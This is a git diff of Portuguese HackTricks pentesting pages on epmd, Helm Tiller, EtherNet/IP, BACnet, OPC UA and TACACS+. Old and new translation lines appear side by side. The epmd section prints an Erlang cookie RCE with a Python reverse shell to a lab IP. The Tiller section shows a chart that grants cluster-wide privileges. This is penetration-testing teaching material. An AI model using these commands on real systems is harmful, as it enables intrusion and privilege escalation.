O **Erlang Port Mapper Daemon (epmd)** serve como um coordenador para instâncias distribuídas de Erlang. Ele é responsável por mapear nomes simbólicos de nós para endereços de máquina, essencialmente garantindo que cada nome de nó esteja associado a um endereço específico. Este papel do **epmd** é crucial para a interação e comunicação sem interrupções entre diferentes nós Erlang em uma rede.
**Porta padrão**: 4369
```
PORT STATE SERVICE VERSION
4369/tcp open epmd Erlang Port Mapper Daemon
```
Este é usado por padrão em instalações do RabbitMQ e CouchDB.
Isso é usado por padrão em instalações do RabbitMQ e CouchDB.
# Enumeração
@ -55,7 +56,7 @@ PORT STATE SERVICE VERSION
## Conexão Remota
Se você conseguir **vazar o cookie de autenticação**, será capaz de executar código no host. Geralmente, esse cookie está localizado em `~/.erlang.cookie` e é gerado pelo Erlang na primeira inicialização. Se não for modificado ou definido manualmente, é uma string aleatória \[A:Z] com um comprimento de 20 caracteres.
Se você conseguir **vazar o cookie de autenticação**, poderá executar código no host. Normalmente, esse cookie está localizado em `~/.erlang.cookie` e é gerado pelo erlang na primeira inicialização. Se não for modificado ou definido manualmente, é uma string aleatória \[A:Z] com um comprimento de 20 caracteres.
```bash
greif@baldr ~$ erl -cookie YOURLEAKEDCOOKIE -name test2 -remsh test@target.fqdn
Erlang/OTP 19 [erts-8.1] [source] [64-bit] [async-threads:10]
@ -68,7 +69,7 @@ At last, we can start an erlang shell on the remote system.
"uid=0(root) gid=0(root) groups=0(root)\n"
```
Mais informações em [https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/](https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/)\
O autor também compartilha um programa para forçar a senha:
O autor também compartilha um programa para bruteforce o cookie:
{% file src="../.gitbook/assets/epmd_bf-0.1.tar.bz2" %}
@ -82,7 +83,7 @@ HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE
(anonymous@canape)4> rpc:call('couchdb@localhost', os, cmd, ["python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.9\", 9005));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"]).
```
Exemplo retirado de [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)\
Você pode usar a máquina **Canape HTB** para **praticar** como **explorar essa vulnerabilidade**.
Você pode usar a **máquina Canape HTB para** **praticar** como **explorar essa vulnerabilidade**.
## Metasploit
```bash
@ -91,19 +92,20 @@ msf5> use exploit/multi/misc/erlang_cookie_rce
```
# Shodan
* `porta:4369 "na porta"`
* `port:4369 "na porta"`
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}

View file

@ -1,19 +1,20 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# Informação Básica
# Informações Básicas
Helm é o **gerenciador de pacotes** para Kubernetes. Ele permite empacotar arquivos YAML e distribuí-los em repositórios públicos e privados. Esses pacotes são chamados de **Helm Charts**. **Tiller** é o **serviço** **executado** por padrão na porta 44134 oferecendo o serviço.
@ -24,7 +25,7 @@ PORT STATE SERVICE VERSION
```
# Enumeração
Se você pode **enumerar pods e/ou serviços** de diferentes namespaces, enumere-os e procure por aqueles com **"tiller" em seus nomes**:
Se você puder **enumerar pods e/ou serviços** de diferentes namespaces, enumere-os e procure aqueles com **"tiller" no nome**:
```bash
kubectl get pods | grep -i "tiller"
kubectl get services | grep -i "tiller"
@ -49,20 +50,36 @@ Você também pode tentar encontrar este serviço em execução verificando a po
```bash
sudo nmap -sS -p 44134 <IP>
```
Depois de descobri-lo, você pode se comunicar com ele baixando o aplicativo cliente helm. Você pode usar ferramentas como `homebrew`, ou consultar [**a página oficial de lançamentos**](https://github.com/helm/helm/releases)**.** Para mais detalhes, ou outras opções, consulte [o guia de instalação](https://v2.helm.sh/docs/using\_helm/#installing-helm).
Uma vez que você o tenha descoberto, pode se comunicar com ele baixando o aplicativo cliente helm. Você pode usar ferramentas como `homebrew`, ou olhar na [**página oficial de lançamentos**](https://github.com/helm/helm/releases)**.** Para mais detalhes, ou para outras opções, consulte [o guia de instalação](https://v2.helm.sh/docs/using\_helm/#installing-helm).
Em seguida, você pode **enumerar o serviço**:
Então, você pode **enumerar o serviço**:
```
helm --host tiller-deploy.kube-system:44134 version
```
## Escalação de Privilégio
## Escalada de Privilégios
Por padrão, o **Helm2** foi instalado no **namespace kube-system** com **privilégios elevados**, então se você encontrar o serviço e tiver acesso a ele, isso poderá permitir que você **eleve os privilégios**.
Por padrão, **Helm2** foi instalado no **namespace kube-system** com **altos privilégios**, então se você encontrar o serviço e tiver acesso a ele, isso pode permitir que você **escalone privilégios**.
Tudo que você precisa fazer é instalar um pacote como este: [**https://github.com/Ruil1n/helm-tiller-pwn**](https://github.com/Ruil1n/helm-tiller-pwn) que dará ao **token de serviço padrão acesso a tudo no cluster inteiro**.
Tudo o que você precisa fazer é instalar um pacote como este: [**https://github.com/Ruil1n/helm-tiller-pwn**](https://github.com/Ruil1n/helm-tiller-pwn) que dará ao **token de serviço padrão acesso a tudo em todo o cluster.**
```
git clone https://github.com/Ruil1n/helm-tiller-pwn
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
/pwnchart
```
Em [http://rui0.cn/archives/1573](http://rui0.cn/archives/1573) você tem a **explicação do ataque**, mas basicamente, se você ler os arquivos [**clusterrole.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrole.yaml) e [**clusterrolebinding.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrolebinding.yaml) dentro de _helm-tiller-pwn/pwnchart/templates/_ você pode ver como **todos os privilégios estão sendo concedidos ao token padrão**.
Em [http://rui0.cn/archives/1573](http://rui0.cn/archives/1573) você tem a **explicação do ataque**, mas basicamente, se você ler os arquivos [**clusterrole.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrole.yaml) e [**clusterrolebinding.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrolebinding.yaml) dentro de _helm-tiller-pwn/pwnchart/templates/_ você pode ver como **todos os privilégios estão sendo dados ao token padrão**.
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}

View file

@ -1,21 +1,22 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# **Informações do Protocolo**
EtherNet/IP é um **protocolo de rede Ethernet industrial** comumente usado em **sistemas de controle de automação industrial**. Foi desenvolvido pela Rockwell Automation no final dos anos 1990 e é gerenciado pela ODVA. O protocolo garante **interoperabilidade de sistemas multi-fornecedores** e é utilizado em várias aplicações, como **usinas de processamento de água**, **instalações de fabricação** e **utilidades**. Para identificar um dispositivo EtherNet/IP, uma consulta é enviada para **TCP/44818** com uma **Mensagem de Listar Identidades (0x63)**.
EtherNet/IP é um **protocolo de rede Ethernet industrial** comumente usado em **sistemas de controle de automação industrial**. Foi desenvolvido pela Rockwell Automation no final dos anos 1990 e é gerenciado pela ODVA. O protocolo garante **interoperabilidade de sistemas de múltiplos fornecedores** e é utilizado em várias aplicações, como **plantas de processamento de água**, **instalações de manufatura** e **serviços públicos**. Para identificar um dispositivo EtherNet/IP, uma consulta é enviada para **TCP/44818** com uma **Mensagem de Identidades (0x63)**.
**Porta padrão:** 44818 UDP/TCP
```
@ -33,16 +34,17 @@ python3 -m cpppo.server.enip.list_services [--udp] [--broadcast] --list-identity
* `port:44818 "nome do produto"`
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}

View file

@ -1,21 +1,22 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# Informações do Protocolo
**BACnet** é um **protocolo de comunicação** para redes de Automação e Controle de Edifícios (BAC) que utiliza o protocolo padrão **ASHRAE**, **ANSI** e **ISO 16484-5**. Facilita a comunicação entre sistemas de automação e controle de edifícios, permitindo que aplicações como controle de HVAC, controle de iluminação, controle de acesso e sistemas de detecção de incêndio troquem informações. O BACnet garante a interoperabilidade e permite que dispositivos de automação predial informatizados se comuniquem, independentemente dos serviços específicos que oferecem.
**BACnet** é um **protocolo de comunicação** para redes de Automação e Controle de Edifícios (BAC) que utiliza o protocolo padrão **ASHRAE**, **ANSI** e **ISO 16484-5**. Ele facilita a comunicação entre sistemas de automação e controle de edifícios, permitindo que aplicações como controle de HVAC, controle de iluminação, controle de acesso e sistemas de detecção de incêndio troquem informações. O BACnet garante interoperabilidade e permite que dispositivos de automação de edifícios computadorizados se comuniquem, independentemente dos serviços específicos que oferecem.
**Porta padrão:** 47808
```text
@ -50,9 +51,26 @@ print(f"Version: {readDevice[2]}")
```bash
nmap --script bacnet-info --script-args full=yes -sU -n -sV -p 47808 <IP>
```
Este script não tenta se juntar a uma rede BACnet como um dispositivo estrangeiro, ele simplesmente envia solicitações BACnet diretamente para um dispositivo com endereço IP.
Este script não tenta se juntar a uma rede BACnet como um dispositivo estrangeiro, ele simplesmente envia solicitações BACnet diretamente para um dispositivo endereçável por IP.
## Shodan
* `port:47808 instance`
* `"ID da Instância" "Nome do Fornecedor"`
* `"Instance ID" "Vendor Name"`
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}

View file

@ -1,24 +1,25 @@
# 4840 - Pentesting OPC UA
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Informações Básicas
**OPC UA**, que significa **Open Platform Communications Unified Access**, é um protocolo de código aberto crucial usado em várias indústrias como Manufatura, Energia, Aeroespacial e Defesa para troca de dados e controle de equipamentos. Ele permite que equipamentos de diferentes fornecedores se comuniquem, especialmente com CLPs.
**OPC UA**, que significa **Open Platform Communications Unified Access**, é um protocolo de código aberto crucial usado em várias indústrias como Manufatura, Energia, Aeroespacial e Defesa para troca de dados e controle de equipamentos. Ele permite de forma única que equipamentos de diferentes fornecedores se comuniquem, especialmente com PLCs.
Sua configuração permite medidas de segurança robustas, mas frequentemente, para compatibilidade com dispositivos mais antigos, essas medidas são reduzidas, expondo os sistemas a riscos. Além disso, encontrar serviços OPC UA pode ser complicado, pois os scanners de rede podem não detectá-los se estiverem em portas não padrão.
Sua configuração permite medidas de segurança robustas, mas muitas vezes, para compatibilidade com dispositivos mais antigos, essas medidas são reduzidas, expondo os sistemas a riscos. Além disso, encontrar serviços OPC UA pode ser complicado, uma vez que scanners de rede podem não detectá-los se estiverem em portas não padrão.
**Porta padrão:** 4840
```text
@ -27,34 +28,35 @@ PORT STATE SERVICE REASON
```
## Pentesting OPC UA
Para revelar problemas de segurança em servidores OPC UA, escaneie com [OpalOPC](https://opalopc.com/).
Para revelar problemas de segurança em servidores OPC UA, escaneie-o com [OpalOPC](https://opalopc.com/).
```bash
opalopc -vv opc.tcp://$target_ip_or_hostname:$target_port
```
### Explorando vulnerabilidades
Se forem encontradas vulnerabilidades de bypass de autenticação, você pode configurar um [cliente OPC UA](https://www.prosysopc.com/products/opc-ua-browser/) de acordo e ver o que você pode acessar. Isso pode permitir desde simplesmente ler valores de processo até operar efetivamente equipamentos industriais pesados.
Se vulnerabilidades de bypass de autenticação forem encontradas, você pode configurar um [cliente OPC UA](https://www.prosysopc.com/products/opc-ua-browser/) de acordo e ver o que pode acessar. Isso pode permitir desde apenas ler valores de processo até realmente operar equipamentos industriais pesados.
Para ter uma ideia do dispositivo ao qual você tem acesso, leia os valores do nó "ServerStatus" no espaço de endereço e pesquise por um manual de uso.
Para ter uma ideia do dispositivo ao qual você tem acesso, leia os valores do nó "ServerStatus" no espaço de endereços e pesquise um manual de uso.
## Shodan
* `porta:4840`
* `port:4840`
## Referências
* [https://opalopc.com/how-to-hack-opc-ua/](https://opalopc.com/how-to-hack-opc-ua/)
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}

View file

@ -1,20 +1,21 @@
# 49 - Pentesting TACACS+
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras formas de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
